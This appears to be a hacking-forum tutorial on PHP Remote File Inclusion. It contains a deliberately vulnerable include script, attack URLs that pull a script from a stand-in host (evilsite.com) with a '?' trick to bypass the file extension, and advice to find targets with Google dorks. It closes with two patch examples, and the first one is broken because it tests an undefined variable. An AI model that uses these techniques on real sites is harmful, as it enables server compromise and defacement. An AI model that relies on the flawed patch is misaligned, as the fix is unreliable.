What is an RFI? and how to do it

What Is RFI ?
RFI stands for Remote File Inclusion that allows the attacker to upload a custom coded/malicious file on a website or server using a script. The vulnerability exploit the poor validation checks in websites and can eventually lead to code execution on server or code execution on website (XSS attack using javascript) *client sided shiZ*.

RFI is a common vulnerability and trust me all website hacking is not exactly about SQL injection. Using RFI you can literally deface *if that's what you're looking for :| * the websites, get access to the server and do almost anything. What makes it more dangerous is that you only need to have your common sense and basic knowledge of PHP to execute this one, some BASH might come handy as most of servers today are hosted on Linux.

Starting with RFI ~
Lets get it started. The first step is to find vulnerable site, you can easily find them using Google dorks. If you can't find one, don't worry you'll still learn Cool - Just upload this on any site and save it as index.php in a folder called rfi

PHP Code:
<?php
# AnonGuy's RFI Tutorial @ XplOitWorld
$file = $_GET['file'];
if ($file != null){include($file.".html");}
?>

 and save this as tut.html

PHP Code:
<html>
<body>
<center><h1>RFI</h1></center>
</body>
</html>


then visit
You must post to unlock this link

As you can see, this code (index.php) pulls documents from the file parameter, adds .html in the end and "includes" it.
If this isn't coded properly, the script doesn't check where the file is coming from and so an inclusion from another site will be accepted and run natively on the server. This means that a text file containing a PHP script can be hosted on another site but still run on the site being targeted. Let's Try It Out.


Code:
http://yoursite.com/rfi/index.php?file=http://evilsite.com/evilscript.txt


Warning: include(
You must post to unlock this link
): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/yoursite/public_html/rfi/index.php on line 4

Error Undecided !

Idea Just like we have the %00 to get rid of the .html part in LFI you got the "?" sign in RFI. If you go to index.php?file=http://evilsite.com/evilscript.txt? it will include evilscript.txt and not evilscript.txt.php because the ? sign makes .php an GET argument! Which does not affect which file you are requesting on remote servers. Idea


Code:
http://yoursite.com/rfi/index.php?file=http://evilsite.com/evilscript.txt?


Anonguy Voila ! Anonguy

Now we know how to exploit rfi vulnerability umm, err.. but how to patch one? Undecided

Here you go mohit

How To Patch RFI/LFI ~
Method One (Switch Statement) ~

PHP Code:
<?php
$file = $_GET['file'];
switch($page){
        case "about":
        include("aboutus.html");
        break;
        case "contact":
        include("contactus.html");
        break;
        default: # If parameter != contact or about
        include("tut.html");
        break;}
?>


Method Two (If Statement) ~

PHP Code:
<?php
$file = $_GET['file'];
if (isset($file))
{
     if ($file == "about")
     {
          include("aboutus.html");
     }
     elseif ($file == "contact")
     {
          include("contactus.html");
     }
     else
     {
          include("tut.html"); #If file param != about or contact
     }
}
else
{include("tut.html");} #If someone visits the file w/o file param
?>